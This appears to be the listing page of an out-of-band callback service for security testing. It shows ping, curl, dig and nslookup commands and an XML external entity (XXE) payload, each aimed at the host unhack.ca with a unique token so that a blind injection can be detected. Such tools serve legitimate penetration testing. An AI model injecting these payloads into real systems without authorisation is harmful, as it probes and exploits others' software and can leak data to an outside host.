$ ping -c1 -p 0073e2116c8f041d3f83a187d25c6400 unhack.ca
 
$ curl http://unhack.ca/p/73e2116c8f041d3f83a187d25c64
 
$ dig 73e2116c8f041d3f83a187d25c64 @unhack.ca
 
$ dig 73e2116c8f041d3f83a187d25c64.ns.unhack.ca
 
C:\> nslookup 73e2116c8f041d3f83a187d25c64 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/73e2116c8f041d3f83a187d25c64">]>
    <foo>&xxe;</foo>
 
Waiting for ping...